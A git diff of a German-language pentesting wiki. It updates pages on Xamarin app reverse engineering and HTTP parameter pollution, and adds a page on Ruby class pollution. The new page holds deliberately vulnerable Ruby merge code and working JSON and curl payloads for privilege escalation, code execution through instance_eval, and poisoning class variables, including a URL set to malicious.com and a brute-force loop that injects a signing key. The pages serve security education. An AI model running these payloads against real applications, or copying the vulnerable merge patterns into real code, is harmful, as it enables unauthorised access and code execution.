diff --git a/.gitbook/assets/image (1255).png b/.gitbook/assets/image (1255).png new file mode 100644 index 000000000..31e0bb56c Binary files /dev/null and b/.gitbook/assets/image (1255).png differ diff --git a/.gitbook/assets/image (1256).png b/.gitbook/assets/image (1256).png new file mode 100644 index 000000000..a60328f79 Binary files /dev/null and b/.gitbook/assets/image (1256).png differ diff --git a/.gitbook/assets/image (1257).png b/.gitbook/assets/image (1257).png new file mode 100644 index 000000000..a60328f79 Binary files /dev/null and b/.gitbook/assets/image (1257).png differ diff --git a/.gitbook/assets/image (1258).png b/.gitbook/assets/image (1258).png new file mode 100644 index 000000000..c1c29d55a Binary files /dev/null and b/.gitbook/assets/image (1258).png differ diff --git a/.gitbook/assets/image (1259).png b/.gitbook/assets/image (1259).png new file mode 100644 index 000000000..53646c5fd Binary files /dev/null and b/.gitbook/assets/image (1259).png differ diff --git a/.gitbook/assets/image (1260).png b/.gitbook/assets/image (1260).png new file mode 100644 index 000000000..486e9a99e Binary files /dev/null and b/.gitbook/assets/image (1260).png differ diff --git a/.gitbook/assets/image (1261).png b/.gitbook/assets/image (1261).png new file mode 100644 index 000000000..0509b13ca Binary files /dev/null and b/.gitbook/assets/image (1261).png differ diff --git a/.gitbook/assets/image (1262).png b/.gitbook/assets/image (1262).png new file mode 100644 index 000000000..341272ec7 Binary files /dev/null and b/.gitbook/assets/image (1262).png differ diff --git a/.gitbook/assets/image (1263).png b/.gitbook/assets/image (1263).png new file mode 100644 index 000000000..c46b4be0f Binary files /dev/null and b/.gitbook/assets/image (1263).png differ diff --git a/SUMMARY.md b/SUMMARY.md index ed2b2504d..60279767a 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -570,6 +570,7 @@ * [Exploiting \_\_VIEWSTATE without knowing the secrets](pentesting-web/deserialization/exploiting-\_\_viewstate-parameter.md) * [Python Yaml Deserialization](pentesting-web/deserialization/python-yaml-deserialization.md) * [JNDI - Java Naming and Directory Interface & Log4Shell](pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md) + * [Ruby Class Pollution](pentesting-web/deserialization/ruby-class-pollution.md) * [Domain/Subdomain takeover](pentesting-web/domain-subdomain-takeover.md) * [Email Injections](pentesting-web/email-injections.md) * [File Inclusion/Path traversal](pentesting-web/file-inclusion/README.md) diff --git a/mobile-pentesting/xamarin-apps.md b/mobile-pentesting/xamarin-apps.md index 8e0acd33a..1ce2f03b0 100644 --- a/mobile-pentesting/xamarin-apps.md +++ b/mobile-pentesting/xamarin-apps.md @@ -1,8 +1,8 @@ # Xamarin Apps {% hint style="success" %} -Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -15,16 +15,14 @@ Lernen & üben Sie GCP Hacking: {% endhint %} -Dies ist eine Zusammenfassung des Blogbeitrags [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers) - ## **Grundinformationen** -Xamarin ist eine **Open-Source-Plattform**, die für Entwickler konzipiert wurde, um **Apps für iOS, Android und Windows** mit den .NET- und C#-Frameworks zu erstellen. Diese Plattform bietet Zugang zu zahlreichen Tools und Erweiterungen, um moderne Anwendungen effizient zu erstellen. +Xamarin ist eine **Open-Source-Plattform**, die Entwicklern ermöglicht, **Apps für iOS, Android und Windows** mit den .NET- und C#-Frameworks zu erstellen. Diese Plattform bietet Zugang zu zahlreichen Tools und Erweiterungen, um moderne Anwendungen effizient zu erstellen. -### Xamarin-Architektur +### Xamarins Architektur -- Für **Android** integriert sich Xamarin über .NET-Bindungen mit Android- und Java-Namensräumen und arbeitet innerhalb der Mono-Ausführungsumgebung zusammen mit der Android Runtime (ART). Managed Callable Wrappers (MCW) und Android Callable Wrappers (ACW) erleichtern die Kommunikation zwischen Mono und ART, die beide auf dem Linux-Kernel basieren. -- Für **iOS** laufen Anwendungen unter der Mono-Laufzeit und nutzen die vollständige Ahead of Time (AOT)-Kompilierung, um C# .NET-Code in ARM-Assemblersprache zu konvertieren. Dieser Prozess läuft zusammen mit der Objective-C-Laufzeit auf einem UNIX-ähnlichen Kernel. +* Für **Android** integriert sich Xamarin über .NET-Bindungen mit Android- und Java-Namensräumen und arbeitet innerhalb der Mono-Ausführungsumgebung zusammen mit der Android Runtime (ART). Managed Callable Wrappers (MCW) und Android Callable Wrappers (ACW) erleichtern die Kommunikation zwischen Mono und ART, die beide auf dem Linux-Kernel basieren. +* Für **iOS** laufen Anwendungen unter der Mono-Laufzeit und nutzen die vollständige Ahead of Time (AOT)-Kompilierung, um C# .NET-Code in ARM-Assemblersprache zu konvertieren. Dieser Prozess läuft zusammen mit der Objective-C-Laufzeit auf einem UNIX-ähnlichen Kernel. ### .NET-Laufzeit und Mono-Framework @@ -38,24 +36,30 @@ Die Dekompilierung verwandelt kompilierten Code zurück in Quellcode. In Windows #### JIT vs AOT-Kompilierung -- **Android** unterstützt Just-In-Time (JIT) und Ahead-Of-Time (AOT)-Kompilierung, mit einem Hybrid-AOT-Modus für optimale Ausführungsgeschwindigkeit. Vollständige AOT ist exklusiv für Enterprise-Lizenzen. -- **iOS** verwendet ausschließlich AOT-Kompilierung aufgrund von Apples Einschränkungen bei der dynamischen Codeausführung. +* **Android** unterstützt Just-In-Time (JIT) und Ahead-Of-Time (AOT)-Kompilierung, mit einem Hybrid-AOT-Modus für optimale Ausführungsgeschwindigkeit. Vollständige AOT ist ausschließlich für Enterprise-Lizenzen. +* **iOS** verwendet ausschließlich AOT-Kompilierung aufgrund von Apples Einschränkungen bei der dynamischen Codeausführung. ### Extrahieren von dll-Dateien aus APK/IPA -Um auf die Assemblies in einer APK/IPA zuzugreifen, entpacken Sie die Datei und erkunden Sie das Assemblies-Verzeichnis. Für Android können Tools wie [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) und [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress) dll-Dateien dekomprimieren. +Um auf die Assemblies in einer APK/IPA zuzugreifen, entpacken Sie die Datei und erkunden das Assemblies-Verzeichnis. Für Android können Tools wie [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) und [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress) dll-Dateien dekomprimieren. ```bash python3 xamarin-decompress.py -o /path/to/decompressed/apk ``` -Für Assembly-Blobs in Android kann [pyxamstore](https://github.com/jakev/pyxamstore) sie entpacken. +In Fällen, in denen nach dem Decompilieren der APK der unbekannt/assemblies/-Ordner mit den `.dll`-Dateien darin sichtbar ist, ist es möglich, [**dnSpy**](https://github.com/dnSpy/dnSpy) direkt über die `.dlls` zu verwenden, um sie zu analysieren.\ +Manchmal findet man jedoch die `assemblies.blob`- und `assemblies.manifest`-Dateien im unbekannt/assemblies/-Ordner. Das Tool [pyxamstore](https://github.com/jakev/pyxamstore) kann verwendet werden, um die `assemblies.blob`-Datei in Xamarin-Apps zu entpacken, was den Zugriff auf die .NET-Assemblies für eine weitere Analyse ermöglicht: ```bash pyxamstore unpack -d /path/to/decompressed/apk/assemblies/ ``` -iOS-DLL-Dateien sind leicht zugänglich für die Dekompilierung, was erhebliche Teile des Anwendungscodes offenbart, der oft eine gemeinsame Basis über verschiedene Plattformen hinweg teilt. +iOS dll-Dateien sind leicht zugänglich für die Dekompilierung, was erhebliche Teile des Anwendungscodes offenbart, der oft eine gemeinsame Basis über verschiedene Plattformen hinweg teilt. + +### Statische Analyse + +Sobald die `.dll`s erhalten sind, ist es möglich, den .Net-Code statisch mit Tools wie [**dnSpy**](https://github.com/dnSpy/dnSpy) **oder** [**ILSpy**](https://github.com/icsharpcode/ILSpy) **zu analysieren**, die es ermöglichen, den Code der App zu modifizieren. Dies kann sehr nützlich sein, um die Anwendung zu manipulieren, um beispielsweise Schutzmaßnahmen zu umgehen.\ +Beachten Sie, dass Sie die App nach der Modifikation erneut packen und erneut signieren müssen. ### Dynamische Analyse -Die dynamische Analyse umfasst die Überprüfung auf SSL-Pinning und die Verwendung von Tools wie [Fridax](https://github.com/NorthwaveSecurity/fridax) für Laufzeitmodifikationen der .NET-Binärdatei in Xamarin-Apps. Frida-Skripte sind verfügbar, um die Root-Erkennung oder das SSL-Pinning zu umgehen, was die Analysefähigkeiten verbessert. +Die dynamische Analyse umfasst die Überprüfung auf SSL-Pinning und die Verwendung von Tools wie [Fridax](https://github.com/NorthwaveSecurity/fridax) für Laufzeitmodifikationen der .NET-Binärdatei in Xamarin-Apps. Frida-Skripte sind verfügbar, um Root-Erkennung oder SSL-Pinning zu umgehen und die Analysefähigkeiten zu verbessern. Weitere interessante Frida-Skripte: @@ -63,14 +67,19 @@ Weitere interessante Frida-Skripte: * [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/) * [**Frida-xamarin-unpin**](https://github.com/GoSecure/frida-xamarin-unpin) +### Neu-Signierung + +Das Tool [Uber APK Signer](https://github.com/patrickfav/uber-apk-signer) vereinfacht das Signieren mehrerer APKs mit demselben Schlüssel und kann verwendet werden, um eine App nach Änderungen erneut zu signieren. ## Weitere Informationen + * [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers) * [https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/](https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/) +* [https://medium.com/@justmobilesec/introduction-to-the-exploitation-of-xamarin-apps-fde4619a51bf](https://medium.com/@justmobilesec/introduction-to-the-exploitation-of-xamarin-apps-fde4619a51bf) {% hint style="success" %} -Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -78,7 +87,7 @@ Lernen & üben Sie GCP Hacking: {% endhint %} diff --git a/pentesting-web/deserialization/ruby-class-pollution.md b/pentesting-web/deserialization/ruby-class-pollution.md new file mode 100644 index 000000000..35caac449 --- /dev/null +++ b/pentesting-web/deserialization/ruby-class-pollution.md @@ -0,0 +1,441 @@ +# Ruby Class Pollution + +{% hint style="success" %} +Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Unterstützen Sie HackTricks + +* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! +* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden. + +
+{% endhint %} + +Dies ist eine Zusammenfassung des Beitrags [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html) + +## Zusammenführen von Attributen + +Beispiel: +```ruby +# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html +# Comments added to exploit the merge on attributes +require 'json' + + +# Base class for both Admin and Regular users +class Person + +attr_accessor :name, :age, :details + +def initialize(name:, age:, details:) +@name = name +@age = age +@details = details +end + +# Method to merge additional data into the object +def merge_with(additional) +recursive_merge(self, additional) +end + +# Authorize based on the `to_s` method result +def authorize +if to_s == "Admin" +puts "Access granted: #{@name} is an admin." +else +puts "Access denied: #{@name} is not an admin." +end +end + +# Health check that executes all protected methods using `instance_eval` +def health_check +protected_methods().each do |method| +instance_eval(method.to_s) +end +end + +private + +# VULNERABLE FUNCTION that can be abused to merge attributes +def recursive_merge(original, additional, current_obj = original) +additional.each do |key, value| + +if value.is_a?(Hash) +if current_obj.respond_to?(key) +next_obj = current_obj.public_send(key) +recursive_merge(original, value, next_obj) +else +new_object = Object.new +current_obj.instance_variable_set("@#{key}", new_object) +current_obj.singleton_class.attr_accessor key +end +else +current_obj.instance_variable_set("@#{key}", value) +current_obj.singleton_class.attr_accessor key +end +end +original +end + +protected + +def check_cpu +puts "CPU check passed." +end + +def check_memory +puts "Memory check passed." +end +end + +# Admin class inherits from Person +class Admin < Person +def initialize(name:, age:, details:) +super(name: name, age: age, details: details) +end + +def to_s +"Admin" +end +end + +# Regular user class inherits from Person +class User < Person +def initialize(name:, age:, details:) +super(name: name, age: age, details: details) +end + +def to_s +"User" +end +end + +class JSONMergerApp +def self.run(json_input) +additional_object = JSON.parse(json_input) + +# Instantiate a regular user +user = User.new( +name: "John Doe", +age: 30, +details: { +"occupation" => "Engineer", +"location" => { +"city" => "Madrid", +"country" => "Spain" +} +} +) + + +# Perform a recursive merge, which could override methods +user.merge_with(additional_object) + +# Authorize the user (privilege escalation vulnerability) +# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}' +user.authorize + +# Execute health check (RCE vulnerability) +# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}' +user.health_check + +end +end + +if ARGV.length != 1 +puts "Usage: ruby class_pollution.rb 'JSON_STRING'" +exit +end + +json_input = ARGV[0] +JSONMergerApp.run(json_input) +``` +### Erklärung + +1. **Privilegieneskalation**: Die `authorize`-Methode überprüft, ob `to_s` "Admin" zurückgibt. Durch das Injizieren eines neuen `to_s`-Attributs über JSON kann ein Angreifer die `to_s`-Methode dazu bringen, "Admin" zurückzugeben, was unbefugte Privilegien gewährt. +2. **Remote Code Execution**: In `health_check` führt `instance_eval` Methoden aus, die in `protected_methods` aufgeführt sind. Wenn ein Angreifer benutzerdefinierte Methodennamen (wie `"puts 1"`) injiziert, wird `instance_eval` diese ausführen, was zu **remote code execution (RCE)** führt. +1. Dies ist nur möglich, weil es eine **anfällige `eval`-Anweisung** gibt, die den Stringwert dieses Attributs ausführt. +3. **Auswirkungsbegrenzung**: Diese Schwachstelle betrifft nur einzelne Instanzen und lässt andere Instanzen von `User` und `Admin` unberührt, wodurch der Umfang der Ausnutzung begrenzt wird. + +### Anwendungsfälle aus der Praxis + +### ActiveSupport’s `deep_merge` + +Dies ist standardmäßig nicht anfällig, kann jedoch mit etwas wie: +```ruby +# Method to merge additional data into the object using ActiveSupport deep_merge +def merge_with(other_object) +merged_hash = to_h.deep_merge(other_object) + +merged_hash.each do |key, value| +self.class.attr_accessor key +instance_variable_set("@#{key}", value) +end + +self +end +``` +### Hashie’s `deep_merge` + +Hashie’s `deep_merge` Methode arbeitet direkt an den Attributen von Objekten und nicht an einfachen Hashes. Es **verhindert den Ersatz von Methoden** durch Attribute bei einem Merge mit einigen **Ausnahmen**: Attribute, die mit `_`, `!` oder `?` enden, können weiterhin in das Objekt gemerged werden. + +Ein Sonderfall ist das Attribut **`_`** für sich genommen. Nur `_` ist ein Attribut, das normalerweise ein `Mash`-Objekt zurückgibt. Und da es Teil der **Ausnahmen** ist, ist es möglich, es zu modifizieren. + +Überprüfen Sie das folgende Beispiel, wie man durch das Übergeben von `{"_": "Admin"}` in der Lage ist, `_.to_s == "Admin"` zu umgehen: +```ruby +require 'json' +require 'hashie' + +# Base class for both Admin and Regular users +class Person < Hashie::Mash + +# Method to merge additional data into the object using hashie +def merge_with(other_object) +deep_merge!(other_object) +self +end + +# Authorize based on to_s +def authorize +if _.to_s == "Admin" +puts "Access granted: #{@name} is an admin." +else +puts "Access denied: #{@name} is not an admin." +end +end + +end + +# Admin class inherits from Person +class Admin < Person +def to_s +"Admin" +end +end + +# Regular user class inherits from Person +class User < Person +def to_s +"User" +end +end + +class JSONMergerApp +def self.run(json_input) +additional_object = JSON.parse(json_input) + +# Instantiate a regular user +user = User.new({ +name: "John Doe", +age: 30, +details: { +"occupation" => "Engineer", +"location" => { +"city" => "Madrid", +"country" => "Spain" +} +} +}) + +# Perform a deep merge, which could override methods +user.merge_with(additional_object) + +# Authorize the user (privilege escalation vulnerability) +# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin. +# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}' +user.authorize +end +end + +if ARGV.length != 1 +puts "Usage: ruby hashie.rb 'JSON_STRING'" +exit +end + +json_input = ARGV[0] +JSONMergerApp.run(json_input) +``` +## Poison the Classes + +Im folgenden Beispiel ist es möglich, die Klasse **`Person`** sowie die Klassen **`Admin`** und **`Regular`** zu finden, die von der Klasse **`Person`** erben. Es gibt auch eine weitere Klasse namens **`KeySigner`**: +```ruby +require 'json' +require 'sinatra/base' +require 'net/http' + +# Base class for both Admin and Regular users +class Person +@@url = "http://default-url.com" + +attr_accessor :name, :age, :details + +def initialize(name:, age:, details:) +@name = name +@age = age +@details = details +end + +def self.url +@@url +end + +# Method to merge additional data into the object +def merge_with(additional) +recursive_merge(self, additional) +end + +private + +# Recursive merge to modify instance variables +def recursive_merge(original, additional, current_obj = original) +additional.each do |key, value| +if value.is_a?(Hash) +if current_obj.respond_to?(key) +next_obj = current_obj.public_send(key) +recursive_merge(original, value, next_obj) +else +new_object = Object.new +current_obj.instance_variable_set("@#{key}", new_object) +current_obj.singleton_class.attr_accessor key +end +else +current_obj.instance_variable_set("@#{key}", value) +current_obj.singleton_class.attr_accessor key +end +end +original +end +end + +class User < Person +def initialize(name:, age:, details:) +super(name: name, age: age, details: details) +end +end + +# A class created to simulate signing with a key, to be infected with the third gadget +class KeySigner +@@signing_key = "default-signing-key" + +def self.signing_key +@@signing_key +end + +def sign(signing_key, data) +"#{data}-signed-with-#{signing_key}" +end +end + +class JSONMergerApp < Sinatra::Base +# POST /merge - Infects class variables using JSON input +post '/merge' do +content_type :json +json_input = JSON.parse(request.body.read) + +user = User.new( +name: "John Doe", +age: 30, +details: { +"occupation" => "Engineer", +"location" => { +"city" => "Madrid", +"country" => "Spain" +} +} +) + +user.merge_with(json_input) + +{ status: 'merged' }.to_json +end + +# GET /launch-curl-command - Activates the first gadget +get '/launch-curl-command' do +content_type :json + +# This gadget makes an HTTP request to the URL stored in the User class +if Person.respond_to?(:url) +url = Person.url +response = Net::HTTP.get_response(URI(url)) +{ status: 'HTTP request made', url: url, response_body: response.body }.to_json +else +{ status: 'Failed to access URL variable' }.to_json +end +end + +# Curl command to infect User class URL: +# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge + +# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner +get '/sign_with_subclass_key' do +content_type :json + +# This gadget signs data using the signing key stored in KeySigner class +signer = KeySigner.new +signed_data = signer.sign(KeySigner.signing_key, "data-to-sign") + +{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json +end + +# Curl command to infect KeySigner signing key (run in a loop until successful): +# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done + +# GET /check-infected-vars - Check if all variables have been infected +get '/check-infected-vars' do +content_type :json + +{ +user_url: Person.url, +signing_key: KeySigner.signing_key +}.to_json +end + +run! if app_file == $0 +end +``` +### Giftige Elternklasse + +Mit diesem Payload: + +{% code overflow="wrap" %} +```bash +curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge +``` +{% endcode %} + +Es ist möglich, den Wert des **`@@url`** Attributs der Elternklasse **`Person`** zu ändern. + +### **Vergiftung anderer Klassen** + +Mit diesem Payload: + +{% code overflow="wrap" %} +```bash +for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done +``` +{% endcode %} + +Es ist möglich, die definierten Klassen zu brute-forcen und irgendwann die Klasse **`KeySigner`** zu vergiften, indem der Wert von `signing_key` durch `injected-signing-key` modifiziert wird.\ + +## References + +* [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html) + +{% hint style="success" %} +Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! +* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst. + +
+{% endhint %} diff --git a/pentesting-web/parameter-pollution.md b/pentesting-web/parameter-pollution.md index 2a67bf459..7cbbc2e6e 100644 --- a/pentesting-web/parameter-pollution.md +++ b/pentesting-web/parameter-pollution.md @@ -1,8 +1,10 @@ # Parameter Pollution +## Parameter Pollution + {% hint style="success" %} -Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -19,66 +21,132 @@ Lerne & übe GCP Hacking: + +

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg

+ +1. Ignoriere alles nach %00 im Parameternamen. +2. Behandle name\[] als Array. +3. \_GET bedeutet nicht GET-Methode. +4. Bevorzuge den letzten Parameter. + +### Ruby 3.3.5 und WEBrick 1.8.2 + +

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kKxtZ8qEmgTIMS81py5hhg.jpeg

+ +1. Verwendet die & und ; Trennzeichen, um Parameter zu trennen. +2. name\[] wird nicht erkannt. +3. Bevorzuge den ersten Parameter. + +### Spring MVC 6.0.23 UND Apache Tomcat 10.1.30 + +

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*llG22MF1gPTYZYFVCmCiVw.jpeg

+ +1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping. +2. POST RequestMapping & PostMapping erkennen name\[]. +3. Bevorzuge name, wenn name UND name\[] vorhanden sind. +4. Verknüpfe Parameter, z.B. first,last. +5. POST RequestMapping & PostMapping erkennen Abfrageparameter mit Content-Type. + +### **NodeJS** 20.17.0 **UND** Express 4.21.0 + +

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg

+ +1. Erkennt name\[]. +2. Verknüpfe Parameter, z.B. first,last. + +### GO 1.22.7 + +

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg

+ +1. name\[] wird NICHT erkannt. +2. Bevorzuge den ersten Parameter. + +### Python 3.12.6 UND Werkzeug 3.0.4 UND Flask 3.0.3 + +

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg

+ +1. name\[] wird NICHT erkannt. +2. Bevorzuge den ersten Parameter. + +### Python 3.12.6 UND Django 4.2.15 + +

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg

+ +1. name\[] wird NICHT erkannt. +2. Bevorzuge den letzten Parameter. + +### Python 3.12.6 UND Tornado 6.4.1 + +

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg

+ +1. name\[] wird NICHT erkannt. +2. Bevorzuge den letzten Parameter. ## Referenzen + * [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654) * [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution) +* [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)
{% embed url="https://websec.nl/" %} - {% hint style="success" %} -Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)